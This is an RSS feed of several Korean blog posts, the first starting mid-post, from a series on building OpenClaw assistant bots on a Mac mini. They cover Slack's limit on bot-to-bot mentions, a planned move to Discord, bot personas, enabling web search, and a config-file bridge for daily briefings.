&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1차&lt;/td&gt;
&lt;td&gt;한나가 @Buksan Recon 멘션&lt;/td&gt;
&lt;td&gt;무응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2차&lt;/td&gt;
&lt;td&gt;allowBots: &quot;mentions&quot; + users 허용목록 + botLoopProtection&lt;/td&gt;
&lt;td&gt;무응답. 설정은 로드됐으나 이벤트 미도착&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3차&lt;/td&gt;
&lt;td&gt;3봇 Event Subscriptions에 message.groups 추가 + Reinstall&lt;/td&gt;
&lt;td&gt;무응답. 이벤트 자체 미도착&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;gateway.log와 상세로그를 전수 조사한 결과 &amp;mdash; OpenClaw가 드롭한 게 아니라&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Slack이 봇 발신 멘션을 이벤트로 보내지 않는다.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;bot_id가 찍힌 메시지에 대해 다른 앱에 app_mention을 발화하지 않는 플랫폼 제한이다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Discord라면 된다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;웹 검색으로 확인했다. Discord의 MESSAGE_CREATE 이벤트는 봇 메시지를 포함해 모든 메시지에 발생한다. 봇 메시지를 무시하는 건 개발자가&lt;span&gt;&amp;nbsp;&lt;/span&gt;message.author.bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;체크로 선택하는 코드 컨벤션이지, 플랫폼이 강제하는 게 아니다. OpenClaw도 Discord 채널을 지원하고, Slack에는 없었던 네이티브 exec 승인 클라이언트까지 Discord에는 구현돼 있다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Discord 전환 결정&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;슬랙 무료 전환(~7/22) 전 20일 내 Discord로 이전하기로 했다. 4단계 진행:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단계기간내용&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2~3일&lt;/td&gt;
&lt;td&gt;Discord 서버 + 3봇 앱 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;5일&lt;/td&gt;
&lt;td&gt;openclaw.json 재배선 + send_briefing.py 수정 + 봇&amp;harr;봇 대화 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;7일&lt;/td&gt;
&lt;td&gt;슬랙&amp;middot;Discord 병행 운용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;이후&lt;/td&gt;
&lt;td&gt;슬랙 종료 + 미배치 6봇 Discord 신설&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;send_briefing.py는 슬랙 코드를 지우지 않고 config에&lt;span&gt;&amp;nbsp;&lt;/span&gt;send.platform&lt;span&gt;&amp;nbsp;&lt;/span&gt;필드를 넣어 &quot;slack&quot; &amp;rarr; &quot;both&quot; &amp;rarr; &quot;discord&quot; 단계 전환하는 구조로 간다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;SOUL 6종 수신&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Ultron에서 서태웅&amp;middot;강백호&amp;middot;권준호&amp;middot;정대만&amp;middot;채소연&amp;middot;채치수 SOUL이 도착했다. 안 감독만 골격 상태로 남았다. 9봇 중 8봇 SOUL 완성.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;봇 분류 최종 확정&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;A형(LLM만, 송태섭), B형(외부 엔진, B-1 상주/B-2 온디맨드), C형 신설(엔진 없음, 비정기 참견, 봉투 면제, 보고 없음). C형은 채치수(회의론자)와 채소연(윤활제)으로 같은 메커니즘 위에 임계치만 다르게.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SOUL에 &quot;오케스트레이터&quot;라고 적는 것과 실제 디스패치 배선은 다르다. measure-first.&lt;/li&gt;
&lt;li&gt;설정 문제와 플랫폼 제한을 구분하려면 3회 이상 실측이 필요했다. 1회 실패로 단정하면 안 된다.&lt;/li&gt;
&lt;li&gt;매몰비용(allowBots&amp;middot;users&amp;middot;botLoopProtection 등)은 진짜 원인을 드러내준 값어치가 있었다.&lt;/li&gt;
&lt;li&gt;플랫폼 선택은 기능의 근본 한계를 결정한다. 설정으로 안 되는 건 코드로도 안 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Discord 마이그레이션 착수. 봇&amp;harr;봇 대화 테스트 통과가 진짜 마일스톤.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/70</guid>
      <comments>https://zestfulpulse.tistory.com/70#entry70comment</comments>
      <pubDate>Tue, 30 Jun 2026 21:30:28 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (22) &amp;mdash; 세 번째 봇이 태어나기 직전까지</title>
      <link>https://zestfulpulse.tistory.com/69</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;맥미니 OpenClaw 비서 봇 만들기 (22) &amp;mdash; 세 번째 봇이 태어나기 직전까지&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;config 다리가 실전으로 검증됐고, 세 번째 봇(남진모)의 인격과 슬랙 앱까지 만들었다. 맥미니에 올리기 직전 상태다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;config 다리 실전 검증&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어제 만든 config 다리가 오늘 아침 브리핑에서 3건 전부 반영됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항목결과&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SCHD 종목 추가&lt;/td&gt;
&lt;td&gt;브리핑에 &quot;SCHD +0.31%&quot; 등장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;뉴스 5건&lt;/td&gt;
&lt;td&gt;카테고리당 5건 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;monday 모드 (once)&lt;/td&gt;
&lt;td&gt;&quot;&amp;sect;11 주간 브리핑 (월요일)&quot; &amp;mdash; monday 모드 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;말로 시키면 바뀌는&quot; 구조가 실제로 돌아간다. V2 핵심 기능 검증 완료.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;한나의 월드컵 보고&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;한나에게 &quot;아침 6시에 월드컵 결과 정리해서 보내줘&quot;라고 시켰더니, OpenClaw 내장 cron으로 스스로 걸었다. 내장 cron은 시스템 crontab이 아니라 OpenClaw 내부 스케줄러라 exec-approvals와 무관하게 작동한다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;첫 실행에서 서브에이전트로 돌렸는데 슬랙 도구가 없어 발송 실패. &quot;메인 세션에서 직접 보내&quot;로 수정하니 정상 작동했다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;내장 cron + web_search 조합으로 스포츠, 뉴스 모니터링, 환율, 날씨 등 정기 보고를 말로 시킬 수 있게 됐다. 시스템 cron(안정성)과 내장 cron(유연성)은 용도별로 나눠 쓰는 게 맞다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;Ultron 폴더 구조 확정&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;통합보고체계(Ultron)에서 전 방 공통 폴더 구조가 확정됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구역경로내용&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;봇&lt;/td&gt;
&lt;td&gt;~/.openclaw/workspace/&lt;/td&gt;
&lt;td&gt;OpenClaw 관리. 폴더명=영문 id&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;엔진&lt;/td&gt;
&lt;td&gt;~/projects/engines/&lt;/td&gt;
&lt;td&gt;신규 엔진은 여기만. README.md가 SSOT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;기존 자산&lt;/td&gt;
&lt;td&gt;현재 위치 유지&lt;/td&gt;
&lt;td&gt;buksan-briefing, JT 등 안 옮김&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 원칙: 엔진이 물리적으로 흩어져 있어도 engines/README가 논리적으로 통일한다. 폴더 대이사 없이 통일성 확보.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;보고 라인 재확정&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Ultron에서 전 봇 보고 라인이 통일됐다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 봇 &amp;rarr; 한나(Gatekeeper) 경유 &amp;rarr; 이사장&lt;/li&gt;
&lt;li&gt;한나는 기준 검수만, 내용 무수정 전달&lt;/li&gt;
&lt;li&gt;직보 예외: 안 감독 1인만&lt;/li&gt;
&lt;li&gt;봇끼리 지시 안 함, 의견만 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존에 남진모(구 권준호)를 이사장 직보로 넣었던 결정이 변경됐다. 한나가 내용을 고치지 않고 기준 통과만 보는 패스스루 구조라, 대화형 상담에서도 병목이 되지 않는다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;남진모 탄생&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 &quot;권준호&quot;에서 이름이 바뀌었다. 슬램덩크 해남대부속고 감독 남진모 &amp;mdash; 코트에 안 뛰고 벤치에서 판을 꿰뚫는 지장형.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항목확정&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;이름&lt;/td&gt;
&lt;td&gt;남진모 (구 권준호)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;엔진&lt;/td&gt;
&lt;td&gt;경제학자/상권전문가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;표층&lt;/td&gt;
&lt;td&gt;슬램덩크 해남대부속고 감독&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템 id&lt;/td&gt;
&lt;td&gt;recon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;슬랙 앱명&lt;/td&gt;
&lt;td&gt;Buksan Recon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;채널&lt;/td&gt;
&lt;td&gt;showdown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;보고 라인&lt;/td&gt;
&lt;td&gt;한나 경유&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;SOUL 6파일(SOUL.md, IDENTITY.md, USER.md, AGENTS.md, TOOLS.md, HEARTBEAT.md) 작성 완료. 핵심 성격:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;존재목적: 권리금&amp;middot;보증금 날리지 않게 지키는 방패&lt;/li&gt;
&lt;li&gt;톤: 직설. &quot;이 자리는 돈 버는 자리가 아닙니다.&quot;&lt;/li&gt;
&lt;li&gt;금지어: &quot;대박날 것 같다&quot; / &quot;무난하다&quot; / &quot;잘 될 겁니다&quot;&lt;/li&gt;
&lt;li&gt;출력구조: ①한줄결론 ②입지치명타 ③데이터검증 ④실전액션플랜&lt;/li&gt;
&lt;li&gt;내부 3관점: 현장 발품 &amp;rarr; 데이터 분석 &amp;rarr; 손익 계산&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;슬랙 앱 생성&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Buksan Recon 앱을 슬랙에 생성했다. Socket Mode 활성화, Bot Token Scopes 4개(chat:write, app_mentions:read, channels:history, channels:read), Event Subscriptions(app_mention, message.channels) 설정, 워크스페이스 설치까지 완료. 토큰(xoxb-, xapp-) 발급됨.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;기타 확인&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;슬랙 무료 플랜: 평가판 22일 후 자동 전환. 봇 운영엔 영향 없음(앱 10개 한도, 현재 3개). 유일한 불편은 90일 메시지 기록 제한.&lt;/li&gt;
&lt;li&gt;한나 이미지 인식: files:read 권한 추가 필요. Secretary, Scout, Recon 전부에 넣어야 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내장 cron과 시스템 cron은 안정성 vs 유연성 트레이드오프. 빠지면 안 되는 건 시스템 cron, 가볍게 시도하는 건 내장 cron.&lt;/li&gt;
&lt;li&gt;내장 cron의 서브에이전트는 슬랙 도구가 없다. 정기 보고는 메인 세션에서 직접 보내도록.&lt;/li&gt;
&lt;li&gt;id 네이밍은 역할 기반(recon), 이름은 SOUL 안의 페르소나. 둘을 분리해야 나중에 혼선이 없다.&lt;/li&gt;
&lt;li&gt;Slack 네이티브 exec 승인이 없듯, 기능이 코드에 있는지부터 확인할 것. 문서가 있다고 기능이 있는 건 아니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 맥미니에서 남진모 배치(SOUL 6파일 + openclaw.json 등록 + 게이트웨이 재시작 + 테스트)만 남았다.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/69</guid>
      <comments>https://zestfulpulse.tistory.com/69#entry69comment</comments>
      <pubDate>Tue, 30 Jun 2026 21:29:59 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (21) &amp;mdash; 웹 검색 한 줄로 비서가 달라졌다</title>
      <link>https://zestfulpulse.tistory.com/67</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;맥미니 OpenClaw 비서 봇 만들기 (21) &amp;mdash; 웹 검색 한 줄로 비서가 달라졌다&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;한나(비서실장)에게 &quot;내일 월드컵 일정은?&quot;이라고 물었더니 &quot;web_search가 비활성이라 못 합니다&quot;라고 했다. 검색 능력이 없는 비서였던 것이다. 설정 한 줄 추가로 해결했다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;문제&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;한나의 tools.profile은 &quot;coding&quot;으로, web_search 도구 자체는 이미 노출돼 있었다. 문제는 검색 provider가 설정되지 않아 실제로는 작동하지 않는 상태였다는 점이다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw dist를 추적한 결과, web_search 활성화는 3개 레이어로 게이팅된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레이어조건현재 상태&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;프로파일 멤버십&lt;/td&gt;
&lt;td&gt;coding 프로파일에 포함&lt;/td&gt;
&lt;td&gt;통과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;provider surface&lt;/td&gt;
&lt;td&gt;검색 provider가 설정돼야 활성&lt;/td&gt;
&lt;td&gt;&lt;b&gt;미통과&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;provider 선택&lt;/td&gt;
&lt;td&gt;allowKeylessAutoSelect가 true여야 키리스 자동선택&lt;/td&gt;
&lt;td&gt;web_search는 false (web_fetch는 true)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;web_fetch는 키 없이 자동으로 되는데 web_search는 안 되는 이유가 여기 있었다. web_search는 provider를 명시적으로 설정해야 한다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;해결&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;openclaw.json에 한 줄 추가했다.&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;&quot;tools&quot;: {
  &quot;profile&quot;: &quot;coding&quot;,
  &quot;web&quot;: {
    &quot;search&quot;: {
      &quot;provider&quot;: &quot;duckduckgo&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;DuckDuckGo는 API 키 없이 쓸 수 있는 유일한 provider다. 전역 설정이라 한나(main)와 송태섭(scout) 양쪽에 동시 적용된다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;설정 추가 후 핫리로드만으로는 안 됐다. 게이트웨이 재시작이 필요했다. exec-approvals 때와 같은 패턴이다 &amp;mdash; 핫리로드는 값만 갱신하지, 부팅 시 안 만들어진 provider를 새로 초기화하지 않는다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;결과&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;재시작 후 한나에게 월드컵 관련 질문을 시켰다. 웹 검색으로 정보를 가져오고, 조별 순위표 정리, 3위 진출 경우의 수 계산까지 했다. 검색 능력이 없을 때와 비교하면 비서로서의 쓸모가 확연히 달라졌다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;web_search와 web_fetch는 같은 web 도구지만 활성화 조건이 다르다. web_fetch는 키리스 자동선택이 켜져 있고, web_search는 꺼져 있다.&lt;/li&gt;
&lt;li&gt;openclaw.json에 새 기능을 추가할 때는 핫리로드가 아니라 게이트웨이 재시작까지가 세트다. 이번이 세 번째 확인이다(exec-approvals approvers, 슬랙 승인, web_search).&lt;/li&gt;
&lt;li&gt;설정 한 줄이 비서의 능력을 근본적으로 바꿀 수 있다. 코드를 짜기 전에 설정부터 확인할 것.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; web_search 활성화 완료. 한나가 검색&amp;middot;추론하는 비서가 됐다.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/67</guid>
      <comments>https://zestfulpulse.tistory.com/67#entry67comment</comments>
      <pubDate>Thu, 25 Jun 2026 22:45:49 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (20) &amp;mdash; &amp;quot;말로 시키면 바뀌는&amp;quot; 첫 기능을 만들었다</title>
      <link>https://zestfulpulse.tistory.com/66</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;1:1-1:55;0-54&quot;&gt;&amp;nbsp;&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;3:1-3:74;56-129&quot; data-ke-size=&quot;size16&quot;&gt;슬랙에서 비서에게 말로 시키면 새벽 자동 브리핑의 설정이 실제로 바뀌는 구조를 만들었다. V2 &quot;분리하되 이어주기&quot;의 첫 실물이다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;5:1-5:9;131-139&quot; data-ke-size=&quot;size26&quot;&gt;선행 상태&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;7:1-9:55;141-252&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;7:1-7:36;141-176&quot;&gt;exec-approvals 화이트리스트 적용 완료 (19번)&lt;/li&gt;
&lt;li data-sourcepos=&quot;8:1-8:21;177-197&quot;&gt;schg로 로직 5개 파일 불변화&lt;/li&gt;
&lt;li data-sourcepos=&quot;9:1-9:55;198-252&quot;&gt;봇 파일 쓰기는 Node 내장 fs(exec 경로 아님) &amp;rarr; exec-approvals와 무관&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;11:1-11:21;254-274&quot; data-ke-size=&quot;size26&quot;&gt;슬랙 승인이 안 됐던 진짜 이유&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;13:1-13:51;276-326&quot; data-ke-size=&quot;size16&quot;&gt;19번에서 슬랙 승인 클라이언트가 작동하지 않아 보류했었다. 이번에 근본 원인을 확정했다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;15:1-15:222;328-549&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw 2026.6.8 빌드에 Slack 네이티브 exec 승인 DM 전달 런타임이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;구현돼 있지 않다.&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;승인 capability 빌더는 Discord, Telegram, Signal, Matrix, GoogleChat에만 존재하고, Slack 프로바이더는 승인 전달 기능을 등록하지 않는다. 설정은 스키마를 통과하지만 소비되지 않는다. 설정 문제가 아니라 코드에 없는 기능이었다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;17:1-17:68;551-618&quot; data-ke-size=&quot;size16&quot;&gt;현행 상태(allowlist + deny)로 핵심 목적(.env 키유출 차단)은 달성돼 있어 추가 조치 없이 마무리했다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;19:1-19:16;620-635&quot; data-ke-size=&quot;size26&quot;&gt;config 다리 설계&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;21:1-21:68;637-704&quot; data-ke-size=&quot;size16&quot;&gt;핵심 구조: 봇이 config.json에 기록 &amp;rarr; cron이 읽어 반영. 봇은 데이터만 건드리고 로직은 건드리지 않는다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;23:1-23:18;706-723&quot; data-ke-size=&quot;size16&quot;&gt;사전 확인 두 가지를 실측했다.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;25:1-28:63;725-871&quot;&gt;확인결과
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;봇 파일 쓰기 경로&lt;/td&gt;
&lt;td&gt;Node 내장 fs.promises 직접 호출. exec-approvals 무관&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;config.json 현재 구조&lt;/td&gt;
&lt;td&gt;indices(지수)와 watchlist(종목)가 이미 분리돼 있었음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;30:1-30:28;873-900&quot; data-ke-size=&quot;size26&quot;&gt;config.json에 넣은 항목 &amp;mdash; 10개&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;32:1-32:71;902-972&quot; data-ke-size=&quot;size16&quot;&gt;브리핑 파이프라인에서 config로 바꿀 수 있는 것을 발송 시각(crontab 조작 필요, 보안 제외)만 빼고 전부 넣었다.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;34:1-45:84;974-1539&quot;&gt;항목config 필드읽는 스크립트
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;지수 목록&lt;/td&gt;
&lt;td&gt;indices&lt;/td&gt;
&lt;td&gt;market_fetch.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;종목 목록&lt;/td&gt;
&lt;td&gt;watchlist&lt;/td&gt;
&lt;td&gt;market_fetch.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브리핑 모드&lt;/td&gt;
&lt;td&gt;mode_override.mode&lt;/td&gt;
&lt;td&gt;run_briefing.sh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모드 지속성&lt;/td&gt;
&lt;td&gt;mode_override.type (once/permanent)&lt;/td&gt;
&lt;td&gt;run_briefing.sh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;뉴스 카테고리&lt;/td&gt;
